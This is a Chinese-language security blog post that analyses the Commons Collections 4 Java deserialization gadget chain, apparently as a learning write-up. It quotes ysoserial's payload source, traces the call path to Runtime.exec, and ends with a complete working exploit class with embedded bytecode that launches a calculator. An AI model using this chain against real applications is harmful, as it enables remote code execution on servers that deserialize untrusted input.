type
Post
status
Published
date
Dec 15, 2022
slug
summary
tags
工具
Java
category
技术分享
icon
password
Property
Feb 9, 2023 07:36 AM
前言
先来看看
CommonsCollections4反序列化调用链的利用源代码public class CommonsCollections4 implements ObjectPayload<Queue<Object>> { public Queue<Object> getObject(final String command) throws Exception { Object templates = Gadgets.createTemplatesImpl(command); ConstantTransformer constant = new ConstantTransformer(String.class); // mock method name until armed Class[] paramTypes = new Class[] { String.class }; Object[] args = new Object[] { "foo" }; InstantiateTransformer instantiate = new InstantiateTransformer( paramTypes, args); // grab defensively copied arrays paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); // create queue with numbers PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain)); queue.add(1); queue.add(1); // swap in values to arm Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); paramTypes[0] = Templates.class; args[0] = templates; return queue; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections4.class, args); } }
可以看到CC4链的poc代码基本是CC2和CC3链所改造来的,构造了核心利用代码和触发链基本和CC2一样的思路。一句话:CC3的思路构造链,CC2思路中的
TransformingComparator类来触发调用利用链从以上代码可以简单看出整个调用链的流程如下:
1、这里的templates使用的是
TemplatesImpl类,看起来这个类很通用,因为在yso中可以看到cc2-4就一直使用这个模板进行攻击2、接着就是开始构造调用链,可以看到
InstantiateTransformer,之前在cc3中学到过,这个类可以通过构造函数paramTypes,args来进行实例化对应的任意类3、然后再是用
ConstantTransformer来进行链式调用4、触发反序列化对象为
PriorityQueue中的TransformingComparatorpayload在序列化之后得到

所以关于该链的构造方式接下来就不做详细解析了~
反序列化过程
刚刚说了是通过
PriorityQueue对象触发序列化,所以直接先在该类的readObject()此处做断点
在
readObject会调用到heapify方法,heapify方法会再去调用siftDown方法private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }
在这里如果
comparator不为空,还会继续调用siftDownUsingComparator
方法,comparator在这里是被修饰的Transformer[]数组。前面使用反射去进行设置的。继续跟进siftDownUsingComparator方法
到了这一步后,就会调用
comparator的compare方法,在前面使用到了TransformingComparator来修饰,所有调用到TransformingComparator
的compare方法
在被
TransformingComparator修饰前,还使用了ChainedTransformer修饰器进行修饰,在this.transformer为ChainedTransformer的实例化对象。所以这里调用的是ChainedTransformer的transform
前面也提过该方法会遍历调用
Transformer[]数组的transform方法在第一次遍历调用
transform方法时,因为前面Transformer[]存储的第一个是ConstantTransformer。因为利用代码中利用了反射去设置iConstant成员变量为TrAXFilter.class
所以
ConstantTransformer的transform会直接返回TrAXFilter对象
第二次遍历调用的时候则是传入
TrAXFilter对象去调用InstantiateTransformer的transform方法
这里的
this.iParamTypes为templates,而this.iArgs为构造的恶意TemplatesImpl实例化对象
那么这一步就是获取
TrAXFilter为templates的构造方法。然后调用该构造方法实例化对象,并且传入TemplatesImpl恶意类。跟进到TrAXFilter构造方法里面,在构造方法里面还会对传入的对象调用newTransformer方法
此时传入的是恶意的
TemplatesImpl实例化对象,接下来调用TemplatesImpl的newTransformer方法,不断跟进方法,到getTransletInstance方法,再到defineTransletClasses方法,最后构建一个TransletClassLoader对象之后,将调用对象的loader.defineClass(_bytecodes[i])方法将_bytecodes对_class进行赋值,_bytecodes为Runtime类执行命令代码的字节码
对
_class进行newInstance,进行实例化对象。执行完这一步后,就会弹出计算器,也就是说执行了我们前面构造好的命令执行代码调用链如下
PriorityQueue.readObject //--------重点-------- ->PriorityQueue.heapify ->PriorityQueue.siftDown ->PriorityQueue.siftDownUsingComparator ->TransformingComparator.compare ->ChainedTransformer.transform ->InstantiateTransformer.transform() ->TrAXFilter(构造方法) ->TemplatesImpl.newTransformer //-------------------- ->TemplatesImpl.getTransletInstance ->TemplatesImpl.defineTransletClasses ->(动态创建的类)cc4.newInstance()->Runtime.exec()

与CC2做对比
分析完整个过程,其实这个就是将
CommonCollections2中TransformingComparator的构造函数参数由InvokerTransformer换成了ChainedTransfomer。在CC2的调用链是TransformingComparator.compare() -> InvokerTransformer.transform() -> TemplatesImpl.newTransformer() -> 对TemplatesImpl._bytecodes实例化 -> RCE
而这里的链则是换掉了后面这部分,取而代之的是与CC3中类似的
InstantiateTransformer。此时的链是TransformingComparator.compare() -> ChainedTransformer.transform() -> InstantiateTransformer.transform() -> TrAXFilter.TrAXFilter() -> TemplatesImpl.newTransformer() -> 对TemplatesImpl._bytecodes实例化 -> RCE
构造示例攻击代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xml.internal.security.utils.Base64; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; public class cc4 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { //构造核心利用代码 byte[] bytes = Base64.decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg"); TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_name", "test"); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); //构造利用链 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templatesImpl}) }; ChainedTransformer chain = new ChainedTransformer(transformers); TransformingComparator comparator = new TransformingComparator(chain); //触发利用链 PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1); Field field2 = queue.getClass().getDeclaredField("comparator"); field2.setAccessible(true); field2.set(queue, comparator); Field field3 = queue.getClass().getDeclaredField("queue"); field3.setAccessible(true); field3.set(queue, new Object[]{templatesImpl, templatesImpl}); //序列化 --> 反序列化 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); ois.readObject(); } }
- Author:w1nk1
- URL:https://notion-w1nk1.vercel.app//article/9acb2639-a087-4632-a932-fbb94aecb190
- Copyright:All articles in this blog, except for special statements, adopt BY-NC-SA agreement. Please indicate the source!
Relate Posts